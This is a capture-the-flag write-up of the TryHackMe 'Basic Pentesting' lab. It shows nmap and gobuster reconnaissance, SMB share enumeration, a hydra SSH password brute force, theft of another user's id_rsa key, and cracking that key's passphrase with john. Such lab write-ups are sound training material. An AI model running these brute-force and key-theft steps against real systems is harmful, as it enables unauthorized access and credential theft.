

TryHackMe(Basic Pentesting):

Nmap:

Open Ports:

```
Discovered open port 139/tcp o
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Discovered open port 8080/tcp
Discovered open port 445/tcp o
Discovered open port 8009/tcp
```

Ports in more detail:

PORT	STATE	SERVICE	REASON	VERSION
22/tcp	open	ssh	syn-ack ttl 63	OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp	open	http	syn-ack ttl 63	Apache httpd 2.4.18 ((Ubuntu))
139/tcp	open	netbios-ssn	syn-ack ttl 63	Samba smbd 3.X - 4.X (workgroup: RKGROUP)
445/tcp	open	netbios-ssn	syn-ack ttl 63	Samba smbd 3.X - 4.X (workgroup: RKGROUP)
8009/tcp	open	ajp13?	syn-ack ttl 63	
8080/tcp	open	http-proxy?	syn-ack ttl 63	

Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Lets look at port 80.

Undergoing maintenance

Please check back later

```
<!-- Check our dev note section if you need to know what to work on. -->
```

The first photo shows nothing important but in the second photo we have something we can try and find.

Lets try gobuster on port 80.

```
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)




[+] Url:          http://10.10.124.12
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:    gobuster/3.3
[+] Timeout:      10s

2022/11/23 04:31:59 Starting gobuster in directory enumeration mode

/development      (Status: 301) [Size: 318] [→ http://10.10.124.12/development/]
```

Found a sub-directory “/development”.

Index of /development

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
<hr/>			
 Parent Directory		-	
 dev.txt	2018-04-23 14:52	483	
 j.txt	2018-04-23 13:10	235	

Apache/2.4.18 (Ubuntu) Server at 10.10.124.12 Port 80

Now we found two interesting txt files called “dev.txt” and “j.txt”.

Looks like we found the dev file.

Lets check them out.

The bottem photo is the “dev.txt”.

```
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat to host that on this server too. Haven't made any real web apps yet, but I have tried that example you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K
```

```
2018-04-22: SMB has been configured. -K
```

```
2018-04-21: I got Apache set up. Will put in our content later. -J
```

We can see nothing really major. Lets move on to “j.txt”.

Bottom photo is “j.txt”.

```
For J:
```

```
I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.
```

```
-K
```

In “j.txt” we can see that the user “j” has a bad password.

Lets enumerate port 139 and port 445.

After using the command “enum4linux -e <Box-IP-ADDRESS>”. We will find this.

```
[+] Attempting to map shares on 10.10.124.12
//10.10.124.12/Anonymous      Mapping: OK Listing: OK Writing: N/A
[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//10.10.124.12/IPC$          Mapping: N/A Listing: N/A Writing: N/A
```

Now that we found shares we can now also enumerate them.

To do this we can use “smbclient //<BOX-IP-ADDRESS>/anonymous”.

```
└─$ smbclient //10.10.124.12/anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> dir
.                D           0   Thu Apr 19 13:31:20 2018
..               D           0   Thu Apr 19 13:13:06 2018
staff.txt        N          173   Thu Apr 19 13:29:55 2018

      14318640 blocks of size 1024. 11094772 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.2 KiloBytes/sec) (average
0.2 KiloBytes/sec)
smb: \> █
```

In the above photo , I am enumerating the /anonymous share. In the /anonymous share we can see a staff.txt. use the command “get <FILENAME.txt>” to download file to machine.

After opening “staff.txt” file we get this.

```
└─$ cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in
fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay
```

If we look closely we have 2 potential users. Kay and Jan. Maybe its K for Kay and J for Jay, like in one of the above screenshots.

I tried enumerating the share “IPC\$” but it can't be so we just going to leave it.

Initial foothold:

Now that we have 2 users. We know that one of them(Jay or J) has a bad password and was asked to change it. So we are going to use hydra to brute force a password for SSH.

```
└─(root@kali) [/usr/share/wordlists]
└─# hydra -l jan -P rockyou.txt ssh://10.10.51.109 -I
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-23 09:
16:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is r
ecommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent
overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1
/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.51.109:22/
[STATUS] 132.00 tries/min, 132 tries in 00:01h, 14344268 to do in 1811:09h, 1
5 active
[STATUS] 105.33 tries/min, 316 tries in 00:03h, 14344084 to do in 2269:39h, 1
5 active
[STATUS] 98.71 tries/min, 691 tries in 00:07h, 14343709 to do in 2421:46h, 15
active
[22][ssh] host: 10.10.51.109 login: jan password: armando
```

Now we can ssh.

Flag:

To get the flag we to traverse to the user “kay”. And only then will we find a file called “pass.bak”.

```
jan@basic2:/home/kay$ cat pass.bak
cat: pass.bak: Permission denied
jan@basic2:/home/kay$
```

In the above the photo, we can see that, this file can only be opened by the user “kay”. So, the plan it to traverse to the ssh file of user “kay”, copy the “id_rsa” file and ssh with that file into the user kay to get the flag. If that did not make sense, then some photos will.

```
jan@basic2:/home/kay$ cd .ssh
jan@basic2:/home/kay/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub
jan@basic2:/home/kay/.ssh$
```

Traverse and locate the “id_rsa” file.

Open the “id_rsa” file and copy the contents to a file on the host machine, to be used again.

Then give the “id_rsa” file permissions.

```
(kali㉿kali)-[~]
└─$ vim id_rsa

(kali㉿kali)-[~]
└─$ chmod 600 id_rsa
```

Before we ssh we need to crack the passphrase from the id_rsa.

```

(kali@kali)-[~]
$ john id_rsa > hash.txt
Using default input encoding: UTF-8
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
0g 0:00:00:12 3/3 0g/s 179173p/s 11446Kc/s 11446Kc/s dakuba..crfurin
Session aborted

(kali@kali)-[~]
$ john -P /usr/share/wordlists/rockyou.txt id_rsa > hash.txt
Unknown option: "-P"

(kali@kali)-[~]
$ john -p /usr/share/wordlists/rockyou.txt id_rsa > hash.txt
Unknown option: "-p"

(kali@kali)-[~]
$ ssh2john id_rsa > hash.txt

(kali@kali)-[~]
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (id_rsa)
1g 0:00:00:00 DONE (2022-11-23 15:08) 16.66g/s 1379Kp/s 1379Kc/s 1379Kc/s behlat..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

After following the above photo you will get the passphrase “beeswax”.

Now we can ssh in with the user “kay”.

```

(kali@kali)-[~]
$ ssh -i id_rsa kay@10.10.105.17
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$

```

Now locate “pass.bak”.

```
kay@basic2:~$ ls
pass.bak  Web App Test  10.10.105.17
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$ █
```